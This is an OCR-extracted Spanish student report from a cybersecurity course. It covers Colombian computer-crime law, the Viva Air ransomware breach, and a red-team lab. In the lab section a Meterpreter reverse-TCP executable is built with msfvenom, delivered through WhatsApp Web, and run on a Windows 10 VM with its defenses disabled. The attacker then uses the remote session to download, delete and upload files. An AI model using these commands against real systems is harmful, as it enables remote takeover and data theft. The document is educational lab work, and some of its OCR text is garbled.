argumentar porqué se torna ilegal este acuerdo de confidencialidad”.

‘el acuerdo de confidencialidad fue elaborado por un abogado que ya no
labora con la organizacion y fue despedido por encontrar algunos procesos

ilicitos dentro de su proceder lo que pondria a pensar que el acuerdo de
confidencialidad tenga algun tipo de mal proceso no ético.”
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Los profesionales contratados para este tipo de actividades deben ser
calificados y con experiencia para la elaboracion de acuerdos, ya que un
acuerdo no bien elaborado acarrea problemas legales no para la persona
que lo elaboro por que como se evidencia en el parrafo “fue despedido”, el

problema viene para la compafiia Hacker House

‘Recursos Humanos no reviso los acuerdos de confidencialidad con los que
se reclutara el nuevo personal, por ende, los acuerdos de confidencialidad
se entregaron a los nuevos miembros del equipo sin modificacion alguna al
original”

Dentro del Anexo 2, se evidencia la falta de ética profesional desde la
persona que creo el acuerdo hasta el &rea de recursos humanos que entrego
documentos a firmar sin previa revision la cual también debe venir con
aprobacion de la Gerencia General, para no incurrir en falta, ademas de
expertos en seguridad de la informacion para la respectiva evaluacion de
cada uno de los puntos que se deben leer detenidamente por las personas

gue tomaran el contrato por prestacion de servicios.

“Si usted como profesional en ciberseguridad logré encontrar algin proceso
ilegal en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y
articulo que se podria estar violentando en dicho documento”

e ACUERDO DE CONFIDENCIALIDAD

“Primera. Objeto: en virtud del presente acuerdo de confidencialidad,

la parte receptora, se obliga a no divulgar directa, indirecta, proxima a

remotamente, ni a través de ninguna otra persona o de sus subalternos

o funcionarios, autoridades legales, asesores o cualquier persona

31



relacionada con ella, la informacion confidencial o sobre procesos

ilegales dentro de HackerHouse no podran ser divulgados”.

“Ley 1279 de 2009

CAPITULO 1

Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA
INFORMATICO O RED DE TELECOMUNICACION. EI que, sin estar
facultado para ello, impida u obstaculice el funcionamiento o el acceso
normal a un sistema informatico, a los datos informaticos alli
contenidos, 0 a una red de telecomunicaciones, incurrird en penade
prision de cuarentay ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1000 salarios minimos legales mensuales
vigentes, siempre que la conducta no constituya delito sancionado

con una pena mayor”.

ACUERDO DE CONFIDENCIALIDAD

“Tercera. Origen de la informacion confidencial: provendra de
documentos suministrados en el proceso de seleccion de personal y
gue tiene que ver con las creaciones del intelecto, a la naturaleza,
medios, formas de distribucién, comercializacion de productos o de
prestacion de servicios, transmitida verbal, visual o materialmente, por

escrito en los documentos, medios electrénicos”.

Ley 1279 de 2009

“Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El

qgue, sin orden judicial previa intercepte datos informaticos en su
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origen, destino o en el interior de un sistema informatico, o las
emisiones electromagnéticas provenientes de un sistema informatico
gue los trasporte incurrird en pena de prision de treinta y seis (36)
a setentay dos (72) meses”.

ACUERDO DE CONFIDENCIALIDAD

“Cuarta. Obligaciones de la parte receptora”

“No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion

de informacién de terceros”.

“Responder por el mal uso que le den sus representantes a la

informaciéon confidencial”.

“‘Responder ante las autoridades competentes como responsable en
caso de que la informacién se encuentre en su poder dentro de un

proceso de allanamiento”.

Ley 1279 de 2009

Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR
DATOS PERSONALES. El que con objeto ilicito y sin estar facultado
para ello, disefie, desarrolle, trafique, venda, ejecute, programe o
envie paginas electronicas, enlaces o ventanas emergentes, incurrira
en pena de prisién de cuarentay ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales
mensuales vigentes, siempre que la conducta no constituya delito

sancionado con pena mas grave.
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En la misma sancion incurrird el que modifique el sistema de
resolucion de nombres de dominio, de tal manera que haga entrar al
usuario a una IP diferente en la creencia de que acceda a su banco o
a otro sitio personal o de confianza, siempre que la conducta no
constituya delito sancionado con pena mas grave. la pena sefialada
en los dos incisos anteriores se agravara de una tercera parte a la
mitad, si para consumarlo el agente ha reclutado victimas en la cadena
del delito.

3. “El sueldo para los puestos de Red team y Blue team estan entre los
$17.000.000 y los 22.000.000 respectivamente. ¢, Si usted llegara a encontrar
procesos ilegales en el acuerdo de confidencialidad usted aceptaria contrato
y acuerdo de confidencialidad de la organizacibn HackerHouse, aun
conociendo lo que podria disponer COPNIA en su codigo de ética y
sanciones en Colombia para profesionales de ingenieria? Para justificar esta
respuesta se recomienda que consulte directamente en la pagina oficial de
COPNIA para generar una respuesta coherente:

https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica”.

No se acepta el contrato de prestacién de servicios por el acuerdo de
confidencialidad, segun el Codigo de Etica para el ejercicio de la Ingenieria
en general y sus profesiones afines y auxiliares, exponiendo los siguientes

puntos:

e En cumplimiento de la ética profesional, esta el denunciar los delitos,
contravenciones y faltas contra el cédigo de ética copnia en su capitulo
2 articulo 31 seccién (f), todo con respecto al acuerdo de

confidencialidad que hacer firmar sin previa revision.
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e También se encuentra el rechazar toda clase de recomendaciones en
trabajos que impliquen dafos evitables ante cualquier entorno, debido
a que una vez se firme el contrato, quedan vulnerables los derechos
como personay como profesional.

¢ Ante todo, se debe cuidar el buen prestigio de la profesion.

e Asi como proteger la vida de los miembros de la comunidad teniendo
en cuenta la afectacion que se generaria al firmar este tipo de
contratos.

e También como deber de la profesién estd el obrar con mayor
prudencia y diligencia en el desarrollo de actividades innatas.

e Respetar y reconocer la Propiedad intelectual.

4. “Debera buscar alguna noticia de cibercrimen en Colombia y redactar su
punto de vista teniendo en cuenta las implicaciones legales y éticas que alli
se pudieron generar. Se solicita que mencione la ley y articulo el cual logre

explicar los delitos expuestos en la noticia que consulto”.

“Esto significa que diariamente se presentan por lo menos 168 Delitos cibernéticos
en el pais, siendo el hurto por medios Informaticos con mas de nueve mil 700 casos,
el que mayor reporte tiene en los primeros cinco meses del afio, seguido de la
violacién de datos personales con mas de cuatro mil 700 y el acceso abusivo a

sistema informatico con mas de cuatro mil 600, segun reporto la Policia Nacional”.

La Institucion también informé que Bogota con un 31%, Medellin con un 8%,
Cundinamarca con un 7%, Cali con un 5% y Barranquilla con un 4% son las zonas

de Colombia donde més se presentan delitos informéaticos.

El Centro Cibernético de la Policia agreg6 que otro delito en internet que si present6

un aumento fue el uso de Software con un 58% durante el presente afio, mientras
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gue se bloquearon 11.163 paginas por contenidos de pornografia infantil y juegos

de azar ilegales, sumadas a 137 capturas con este tipo de crimenes. 1°

Uno de los atagues mas conocidos a comienzos del afio 2022 fue a la aerolinea
VIVA AIR, a reconocida aerolinea colombiana también fue victima de los
ciberdelincuentes el pasado 14 de marzo del 2022. ¢ Como sucedio? la entidad fue
comprometida por un ransonware que robo y filtré informacién importante de la

empresa y sus clientes. La banda RansomEXX se atribuy0 este ataque. 11

El atacante, un reconocido fabricante de ransomware, se adjudicé el robo de 18,25
GB de informacion de clientes de la aerolinea de bajo costo y publicé que los datos
obtenidos equivaldrian a informacion privada de 26.5 millones de clientes. El
atacante afirma tener en su poder nombres, nimero de pasaporte, teléfono, correo,

entre otros datos.

MuchoHacker.LOL recibi6é una alerta de un analista de ciberseguridad con un link al
gue solo se puede acceder utilizando un navegador que soporte la red Tor y pudo
verificar que en la pagina web estan publicadas una serie de afectados por un

ransomware entre los que se encuentra Viva Air.

En la lista de afectados se puede observar la fecha de la publicacién, el tamafio
(18,25 gb) y que este leak ha recibido 439,464 visitas.

10 “Reduccidn del 2% en los delitos cibernéticos en Colombia en comparacion con el 2022. (s.f.). Radio Nacional de
Colombia: musica e historias de las regiones._https://www.radionacional.co/actualidad/delitos-ciberneticos-en-colombia-
estadisticas-actuales#:~:text=La%20Policia%20Nacional%20report6%20que,los%20ciudadanos%20en%20la%20red.”

11 *10 reconocidas instituciones de Colombia hackeadas en el 2022. (s.f.). Nsit. https://www.nsit.com.co/10-reconocidas-
instituciones-de-colombia-hackeadas-en-el-2022/”
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En su momento al visitar el sitio web destinado a Viva Air se puede observar que
los 18,25 Gigas supuestamente robados se dividieron en 38 archivos en formato

zip. Cada uno de los documentos pesa 500 MB .12

Segun el ataque informético que recibié la linea VIVA AIR, existi6 violacién segun
la ley 1273 de 2009 en sus articulos:

“269A. ACCESO ABUSIVO A UN SISTEMA DE INFORMACION EI que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informético protegido o no con una medida de seguridad, o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo,
incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y

en multa de 100 a 1000 salarios minimos legales mensuales vigentes”.

“269B. INTERCEPTACION DE DATOS INFORMATICOS El que, sin orden judicial
previa intercepte datos informaticos en su origen, destino o en el interior de un
sistema informético, o las emisiones electromagnéticas provenientes de un sistema
informatico que los trasporte incurrird en pena de prisién de treinta y seis (36) a

setenta y dos (72) meses”.

“269E. USO DE SOFTWARE MALICIOSO. El que, sin estar facultado para ello,
produzca, trafiqgue, adquiera, distribuya, venda, envie, introduzca o extraiga del
territorio nacional software malicioso u otros programas de computacion de efectos
dafinos, incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes”.

“269F. VIOLACION DE DATOS PERSONALES. El que, sin estar facultado para
ello, con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca,

venda, intercambie, envie, compre, intercepte, divulgue, modifique p emplee

12 “Viva Air Leak: 26 millones de datos privados de clientes de la aerolinea de bajo costo estarian en linea desde hace nueve
meses. (s.f.). MuchoHacker.LOL. https://muchohacker.lol/2023/01/viva-air-leak-26-millones-de-datos-privados-de-clientes-
de-la-aerolinea-de-bajo-costo-estarian-en-linea-desde-hace-nueve-meses/”
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codigos personales, datos personales contenidos en ficheros, archivos, bases de

datos o medios semejantes, incurrira en pena de prision de cuarenta y ocho (48) a

noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes”.

ETAPA 3 - EJECUCION DE PRUEBAS DE INTRUSION

1. “Describa de manera especifica las herramientas software que utilizé para

llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam”.

Software

v" Virtual Box en su Ultima versién, descargar archivo

ejecutable, acorde a la plataforma de uso habitual, desde

el siguiente link.

https://www.virtualbox.org/wiki/Downloads

S.0. Windows 10 x64, instalada como maquina virtual y
gue sera usada como Sistema Operativo VICTIMA, a
este S.0O., Se le desactivan todos los sistemas de

seguridad, antivirus, firewall entre otros.

S.0. Kali Linux x64 basado en Debian, instalada como
maquina virtual y que serd usada como S.O.
ATACANTE. Cabe aclarar que este Sistema Operativo

es uno o el mas completo para el uso de Hacking Etico.
En Kali Linux dentro de su terminal y por medio de sus

comandos MSFVENOM, METASPLOIT, se construira o

creara el o los diferentes PAYLOAD; y adicionalmente
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debemos usar MSFCONSOLE, consola que nos
permitira hacer uso de EXPLOIT y METERPRETER.

2. “A continuacién, liste y describa los datos e informacién del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad

especifico el cual ataca a la maquina Windows 10 X64”.

Es importante aclarar que las maquinas o Windows den tener habilitados sus
sistemas de antivirus para este caso el de Windows Defender, ya que es
necesario para cualquier actividades y navegacion por internet, se encontré
gue en la maquina atacada no se encontraban habilitados los siguientes

Servicios:

¢ Des habilitacion del antivirus

¢ Des habilitacion del Firewall de Windows

e Aplicaciones via web — Wasap en ejecucion sin minimos estandares
de seguridad

e Des habilitacién de antivirus en proteccién en tiempo real

e Bloqueo de la maquina Windows al retirarse del equipo
3. “¢Qué herramienta utilizé para poder identificar los fallos de seguridad de la

“‘maquina Windows 10”? ;Qué puerto abre la aplicacion especifica en el

anexo?”
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B8 Seleccionar Administrador: Simbolo del sistema

- [:j] 14

llustracion 13 Prueba Escucha Puerto 443

Puerto de escucha 443

4. “Explique con sus palabras y de manera especifica como afecta el ataque a la

maquina (Windows 10 X64), haga uso de graficos para explicar el ataque”.

Payload: se encarga de ejecutar un archivo descargado de manera ingenua en el
equipo de cémputo o equipo atacado, ya sea por medio de mensajes de correo,
navegacion por internet, Wasap Web y demas aplicaciones y accesos donde se
comparten archivos, lo cual envia u archivo ejecutable y con tan solo un clic entra
en ejecucion el ataque y lograr controlar el equipo y asi mismo inhabilitar la
informacion o desaparecerla, cabe recalcar que este tipo de ataque es dificil

detectar ya que se camufla desde cualquier sitio por medio de meterpreter.
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ATACANTE VICTIMA

Aplicacién/servicio

Metasploit

IIIII)

VULNERABILIEAD

PAYLOAD

llustracion 14 Funcionamiento del ataque por Payload®® (FAITIC, s.f.)

};ﬂm

-% Infect
= LAl

' Exploit | HED 22

Malicious
3 Ransomware
| I %

Advertisement

Exploit Server Banking Trojan
a2 '
Traffic Detection Maiivare

System

llustracion 15 Infecciones desde Payload

5. “Debera documentar y adjuntar los comandos utilizados y explicarla estructura

desarrollada para el Payload ademas de los comandos para ejecutar el Payload”.

clearArchivo de extension .txt

Campos del .txt
¢ Nombre estudiante
e Codigo
e Fecha

13 “Tests de intrusiA3n y explotaciA®n de vulnerabilidades: uso basico de Mestasploit. (s.f.). Area de Ciencias de la
Computacion e Inteligencia Artificial. https://ccia.esei.uvigo.es/docencia/SSI/1819/practicas/ejercicio-metasploit/”
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e Actividad

E Clear Archivo: Bloc de notas

Archive Edicion  Formate  Ver Ayuda
Nombre> Estudiante leiz Alexandra Guerrero Cardenas
Codigo» 1813598347

fecha> 17 de marzo de 2824
actividad> etapa 3 - ejecucion pruebas de intrusion

Clear Archiva

Linea 4, columna 22 100% Windows (CRLF)

llustracion 16 creacion documento .txt

Ejecutable descargado y ejecutado en win 10x64

e PoCseminario.exe
Maquina Win 10x64 sistemas de seguridad desactivados

e Firewall (desactivado)

e Windows defender (desactivado)

¢ Antivirus (desactivado)
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Seguridad de Windows —

Seguridad de un vistazo

| o Consulta lo que estd sucediendo con la seguridad y el estado del
dispositivo, y toma las medidas necesarias.
o G o “3
B Proteccion contra virus y Proteccion de cuentas Firewall y proteccion de red
amenazas Ma se requiere ninguna accién, Los firewalls estan desactivados.
1= Lz proteccin basada en la nube El dispositivo podria estar en
estd desactivada. El dispositivo nesga.
@ podria ser vulnerable.
Activar
dh Activar
Ignorar

I I Explorador de archivos D m

llustracion 17 evidencia antivirus y firewall deshabilitados

Archivo a crear .exe
e Po0c1013598347.exe

MsfVenom

e Payload (ejecutado con metasploit)

Las maquinas Windows y Kali se encuentran dentro de la misma red

Windows 10
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4+ [=d « Todos los elementos de Panel de c... » Reproduccion automitica v O Buscar en el Panel de contrel £

B Simbolo del sistema _ O w

llustracion 18 ping maquina Windows 10

Maquina Kali Linux

- leiz@kali: ~
File Actions Edit View Help

address

<LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo

valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute

valid_1ft forever preferred_lft forever

2 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fg_codel state UP group default glen

1000
link/ether 08:00:2 6:4d:26 brd ff:ff:ff:ff:Ff:ff
inet 4 brd scope global dynamic noprefixroute eth@
valid_1ft 86201sec preferred_lft 86201sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

llustracion 19 ping maquina Kali Linux

Se realiza ping entre las maquinas, pantalla izquierda Windows 10 con ip
192.168.0.6 parte derecha maquina Kali Linux con ip 192.168.0.7. las cuales estan
respondiendo dentro del mismo segmento de red.
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llustracion 20 Comunicacién entre maquinawindows y Linux

Creacion de un Payload con MsfVenom

Se muestra en la imagen el escritorio de Kali Linux antes de la creacion del Playload

O % A © 1905 | & &

File System

L

Home

HNTIRETNUK

"the quieter you become, the more you are able to hear”

80T &N E L ¥ 60 Nnguno

llustracion 21 creacion Payload

Con el superusuario de Kali Linux vamos a usar el programa o la extension

MSFVENOM, donde se creara con una linea de comandos un Payload
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ﬂ Kali Linux [Corriendo] - Oracle VM VirtualBox - O X

Archivo MAaguina Ver Entrada Dispositivos Ayuda

S e EPOEI|1 2 3 4 D 4 A © 19:00

i

File Actions Edit View Help

0.7 LPORT=444 tform win

dows xb4

llustracién 22 Ejecucion Payload

Vamos al directorio Desktop para que en dicha direccién se nos cree el archivo

Payload o dentro de la linea de comando damos la ubicacion en donde queremos
que se genere el archivo Payload.

(s

root@kali: /home/leiz/Desktop

File Actions Edit View Help

/home/leiz/Desktop

windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=444
ows x64 generic/none -f exe > PoC1013598347.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 510 (iteration=0)
generic/none chosen with final size 510
Payload size: 510 bytes
Final size of exe file: 7168 bytes

/home/leiz/Desktop

llustracién 23 Directorio Payload
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Comando show options para verificar el puerto LPORT

msf6 loit( ) > rh;w options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Name

EXITFUNC process B chnique (Accepted: "', seh, thread, process

LHOST £ ten address (an interface may be specified)
LPORT Lbbh e listen port

Exploit target:
Id Name

] Wildcard Target

View the full module info with the 1 , Or command .

msf6 exploit( ) > 1

llustracion 24 validacién puertos activos

Con la siguiente linea de comando generamos el archivo Playload en el escritorio
de Kali Linux incluyendo la siguiente linea, adicional con el comando -e se instala
un codificador genérico generic/none >>
/home/Leiz/Desktop/PoC_1013598347.exe

File Actions Edit View Help

/home/leiz
f windows/x64/meterpreter/reverse_tcp latfo windows -a x64 LHOST=192.168.0.7
LPORT=443 -e generic/none -f exe /home/leiz/Desktop/PoC_1013598347.exe

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 510 (iteration=0)
generic/none chosen with final size 510

Payload size: 510 bytes

Final size of exe file: 7168 bytes

llustracion 25 Generacion Payload en Linux

El cual se evidencia en la siguiente imagen, archivo identificado con el siguiente
nombre PoC_1013598347.exe
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P4 Kali Linux [Corriendo] - Oracle VM VirtualBox = (m] X

Archivo M3aquina Ver Entrada Dispositivos Ayuda

B mmPOE-| 2 o4

PoC 1013598
347 .exe

"the quieter you become, the more you are able to hear”

B 5 ¥ 6 B Ninguno

llustracion 26 Payload

El ejecutable malicioso sera enviado mediante wasap web para la creacion del
comando, generamos la linea de comando con su correspondiente sintaxis (todo

esto en modo super usuario)

Msfvenom -p (plataforma a usar)/(arquitectura x86_64)/meterpreter/reverse_tcp
LHOST=(IP local de nuestro Kali) LPORT=puerto predilecto —platform (plataforma
a usar) -a (arquitectura x86-64) -e (uso de codificador) -f (formato del archivo) >

(simbolo para creacion del archivo)(nombre del archivo. formato requerido)

Para la creacion de un Payload se recomienda que los comandos o lineas de

comandos sean lo mas simple posibles.
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-p --payload  “Carga util”

-f --format “Formato del archivo”

-e --encoder  “codificador”

-a --arch “Arquitectura de la maquina”

> Mayor que “Indicador de creador del archivo y/o ruta directorio”.

Meterpreter “Es el comando que nos crea la carga util para ejecuciéon en

forma remota”.

D ’ © (1) WhatsApp x ‘—i— wER o

&< O 3  https://web.whatsapp.com B A % m = B o
‘ 2 0 O :
Q

Busca un chat o inicia uno nuevo =

+57 316 3308143 (T4) Q

Envia mensajes a este mismo nimero.

+57 316 3308143 (Tu) 8:36 P. M.

/B PoC_1013598347.zip <
AAA Dora Zamudio 8:49P. M. Hal:
2 Foto o
PoC_1013598347.zip (D)
404 - ENMMET®&L 839 P M. ' 7P+ 1k8 ¥
! ~Ingrid peia: Y de eso tendra... &)
% ngrid pena e eso tendara \ o S3 i v

o
&
=
@
=

Obtener WhatSApp para = £ m IC:rrihn 1IN Mmancaia
llustraciéon 27 Evidencia Envio Payload

S o | 0 (1) Whatstpp X |—|— — u] X

« O 21  https://web.whatsapp.com B oA 9y = o= o
Descargas B oa - 2

‘ 20 O ™ Q

s PoC_1013598347.zip

I Abrrerenive _
(e I R N - - - PR

llustracién 28 evidencias descarga Payload
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Se evidencia el archivo txt y el archivo .zip del Payload

Papelera de
reciclaje

)
2
Microsoft
Edge

ClearArchivo

R

llustracion 29 Evidencia Payload descargado y comprimido en escritorio Wimdows 10

Se ingresa a MSFCONSOLE

P4 Kali Linux [Corriendo] - Cracle WM VirtualBox

Archivo Maguina Ver Entrada Dispe o3 Ayuda

% P-| )
- " |

File Actions Edit View Help

/home/leiz

Loit Fr:

llustracion 30 Payload en espera de ejecucion

root@kali: flhome/leiz

Por medio del comando MSFCONSOLE se activo METASPLOIT y se puede realizar

el uso de los diferentes comandos
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y 3 post
- 11 nops
[

letasploit tip: the c environment with the
mand, fu estarts will use this

environment

Metasploit Documentatiom: http ocs.metasploit.com/

llustracion 31 Tiempo de ejecucion Payload

Introduccién linea de comando use exploit/multi’/handler

the current environment with the
mmand, fu console restart L1 use this

onment a
ocs.metasploit.com/

VEE & 0 =T ¥ 63 B2 ninguno
llustracion 32 ejecucion Payload

Carga de Payload con el comando set payload Windows/meterpreter/reverse_tcp

exploit( ) > s¢ ayload windows/xb64/meterpreter/reverse_tcp
ad = window fmete ; rse_top

exploit(

llustracion 33 envio Payload

Con el comando set Ihost 192.168.0.7 afladimos al exploit la ip local de Kali

-] e @ 0ElT % )63 B Ninguno
llustracion 34 linea de codigo envio a maquina windows 10

Verificamos nuevamente que tenemos activos los puertos con el Payload
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msf6 exploit( ) > set lhost 192.168.0.7
lhost = 192.168.0.7

msf6 exploit( ) > set lport 443

lport = 443

msf6 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,

none)
LHOST 192.168.0.7 yes The listen address (an interface may be specified)
LPORT 443 yes The listen port

Exploit target:
Name

Wildcard Target

View the full module info with the 1 po command.

msf6 exploit( ) > 1

llustracion 35 verificacion de puertos para Payload

Se ejecuta el comando EXPLOIT, el cual permite estar a la escucha cuando se

ejecute el payload en la maquina infectada

} > exploit

rse TCP handler on 192.168
llustracion 36 estado de escucha de Payload

Ejecutamos el archivo PoC_1013598347.exe descargado en la maquina atacada
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de que desea ejecutar este

re: C:\Usersivboxuser\Desktop\PoC_1013598347.exe
itor: _Editor desconocido

po:  Aplicacién

e C:\Users\uboxuser\Desktop!\PoC_1013588347.exe

llustracion 37 ejecucion Payload

En Kali Linux en nuestra MFCONSOLE al ejecutar el comando EXPLOIT (a la
escucha de la ejecucion del archivo), el archivo fue ejecutado desde la ip
192.168.0.6

meterpreter >

llustracion 38 ejecucion desde windows 10

Usando el comando sysinfo, accedemos a informacién de la maquina atacada,

especificamente en la direccion C:\Users\vboxuser\Desktop
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10
1@ (10.8 Build 19@45).

Type Last modifie Name

llustracion 39 acceso pleno a maquina infectada

Con el coman Is ingresamos a la lista de archivos que tenemos en la ubicacion

C:\Users\vboxuser\Desktop

llustracion 40 ubicacidn de archivos en maquina victima

Con el signo ¢, podemos entrar a los comandos meterpreter
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ound thr
channels

r http/https)
strings

on the cu
ensions

Post module
ption on the session

llustracién 41 comando y ayudas de meterpreter

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

checksum Retrieve the checksum of a file

cp Copy source to destination

del Delete the specified file

dir List files (alias for 1s)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcat Read the contents of a local file to the screen

Change local working directory
List local files
Print local working directory
List files
Make directory
Move source to destination
Print working directory
Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory

llustracion 42 comando y ayuda meterpreter
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Download Clear \ Archivo.txt

Name

Downloaded ear Archivo.tx

mpleted : Clear Archi

llustracion 43 eliminacion de archivo en maquina victima

Verificamos en nuestro Kali en la ruta /home/Leiz/Clear Archivo.txt

P4 Kali Linux [Corriendo] - Oracle VM VirtualBox = (@} X

Archivo Maquina Ver Entrada Dispositivos Ayuda
B emEaPori| 2 | oD% 8 on2|a
" leiz - Thunar

File Edit View Go Bookmarks Help
e > 4 A <« Aleiz M Deskiop

Places

B8 Computer =) :

B leiz
Desktop

@ Recent
' Trash ! an D =]
@

s Vv

Desktop Documents Downloads

Document Pictures Public Templates Videos
Music

Pictures . .
Videos . .
Downloads Clear Archivo.txt o PoC1013598347.ex PoC_1013598347.e
Devices e Xe
g File System

Network
] Browse Network

llustracién 44 eliminacién archivo
Por medio del comando rm, podemos eliminar el archivo a eleccion en este caso ya

descargamos en Kali Clear Archivo.txt pero eliminamos de Windows 10 dicho
archivo
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1 o [Corriendo] - Oracle VM VirtualSox o X

Edit View Help

llustracion 45 eliminaciéon de archivo en windows 10

Usando el comando upload, subimos el archivo Clear Archivo.txt desde Kali a

Windows 10

Upload
/home/Leiz/Clear\ Archivo.txt

Archivo Magquina Ver Entrada

[homelleiz

B §) 6 B nnguno

BORNST & WELDE T GO N

llustracion 46 copiando de nuevo archivo de Kali a Windows
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Archivo.txt

rchivo.txt

e 0.txt — Clear Archivo.txt
Compl : /home/lei ar A <t cl rchivo.txt
meterpreter >

llustracion 47 copia de archivo

ETAPA 4 - CONTENSION DE ATAQUES INFORMATICOS

1. “¢Ante un ataque informético en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y explicar

cada uno de estos pasos”.

e Deteccion: siendo esta una de las fases mas importante dentro del analisis
del ataque informatico, una buena gestion en esta fase puede llevarse a
significativa atencion del impacto que tiene el ataque, la principal ventaja es
gue esta fase se desarrolla por medio de técnicas para encontrar y detectar

la intrusién sospechosa:

¢ Medidas de deteccion Organizativas: donde se disefia y paso a
paso interno el cual es crucial para la toma de la mejor decision

ante el ataque informéatico

+ Medidas de deteccion legales: se debera registrar el nuevo evento,
para el caso de Colombia tenemos CSIRT, el cual es el equipo que

nos permite identificar y tomar las medidas correctivas del hecho.

e Recuperacion: una vez detectada una intrusion en los sistemas de la
empresa se hace necesario ejecutar un plan organizado de recuperacion
ante incidentes, el objetivo es dejar todo el funcionamiento productivo tal
cual como se encontraba antes del ataque y en el menor tiempo posible, la

cual es denominada continuidad del negocio sin afectar areas importantes
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de la empresa, recomendando la elaboracion de un informe técnico donde

se detalla el paso a paso de lo acontecido y el plan de accion que se tomo.

e Respuesta: en este punto de la ejecucion del plan de contencion y
recuperacion se crea la necesidad de dar respuestas a clientes y usuarios
de lo acontecido y de esta forma también denunciar lo ocurrido, para lo cual
se debe crear una estrategia de comunicacion para dar respuesta exacta y
veridica de lo acontecido sin generar confusién en los terceros y usuarios,

actividad que debe desarrollarse con tranquilidad.'# (Ordofiez, s.f.)

2. “¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red
team liste el paso a paso que ejecutd para subsanar el sistema ante el evento del
Payload?” 15

e actualizacion desde Windows Update

e Actualizacion Antivirus

e Activacion Antivirus

e Activacion Firewall de Windows

e Gestion de Contrasefias

e Activar Cifrado BitLocker

e Activar la copia de seguridad de los archivos

e Configurar cuentas de usuario del equipo de computo

e Desactivacion de acceso remoto

14 “RED TEAM, Blue Team y Purple team: Guia completa sobre los equipos en Ciberseguridad [Anénimo]. Ciberseguridad,
tecnologia e innovacion | GroupHacking [pagina web]. [Consultado el 26, marzo, 2024]. Disponible en Internet:
<https://www.grouphacking.com/ciberseguridad/hacking-etico/red-team-blue-team-y-purple-team-guia-completa-sobre-los-
equipos-en-
ciberseguridad/#:~:text=En%20conclusién,%20l0s%20equipos%20Red,mejorar%20la%20defensa%20en%20general.>".

15 “FLOATING POINT [Andnimo]. Floating Point | Blog [pagina web]. [Consultado el 25, marzo, 2024]. Disponible en Internet:
<https://floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-tu-ordenador-de-hackers-virus-ransomware-y-
ms>".
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3. “Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢ qué
diferencia existen entre los equipos antes mencionados con el Purple Team y

equipos de respuesta a incidentes informaticos?”

Blue Team: Equipo interno o externo que se encarga de la seguridad defensiva de
las empresas y su funcion principal es mantener los sistemas seguros de las
compafiias, con rigurosos monitoreos en la red y controles de seguridad frecuentes,
también se encarga de procedimientos de seguridad forense y en el desarrollo de

parches de seguridad para la solucion de errores que se vayan presentando.

Red Team: su principal funcién es atacar o simular ser atacante y de esta forma
crear ataques para las compafiias, todo con el fin de detectar vulnerabilidades en
los sistemas. También brinda la capacidad de dar respuesta ante los posibles
atagues que se presenten, para eso usan diferentes técnicas de Hacking e
ingenieria Social, identificando los diferentes ataques y poniendo en marcha los
diferentes ataques que se presenten.

Purple Team: este equipo es una mezcla de los dos equipos Red Team y Blue
Team, en pocas palabras se encarga de crear los ataques y de generar las defensas
para los mismos y generar el respectivo monitoreo y asi mismo llegar a fortalecer

los sistemas en las empresas.

También se encargan de fortalecer las habilidades de cada uno de los equipos Red

Team y Blue Team y asi facilitar el trabajo entre ambos equipos.
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El trabajo de estos equipos es de vital importancia ya que los dos trabajan de la
mano y debe haber comunicacion entra cada uno de los equipos ya que estos pasos

llevan mas alla la ciberseguridad.®

equipos de respuesta a incidentes informaticos (CSIRT): Es un equipo interno que
forma parte de una organizacién como universidad, empresa o red de investigacion,
y es el encargado de gestionar todas las incidencias en todo un pais, realizando

evaluaciones periddicas bajo demanda.

4. “;Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de cémo funciona CIS y qué se

debe hacer para encontrar los tutoriales que posee”.

La principal funcion de CIS “Center For Internet security” es implementar una guia
con 20 medidas de seguridad y contramedidas para la defensa de la
ciberdelincuencia, la cual proporciona una lista donde se verifican y reducen

significativamente el umbral de ataques.

Los cinco principios fundamentales de un sistema efectivo de defensa cibernética

como se refleja en los controles CIS son:

1. La ofensa informa a la defensa: haga uso de los ataques reales que han
comprometido los sistemas para proporcionar la base para aprender
continuamente de estos eventos y asi construir defensas efectivas y practicas
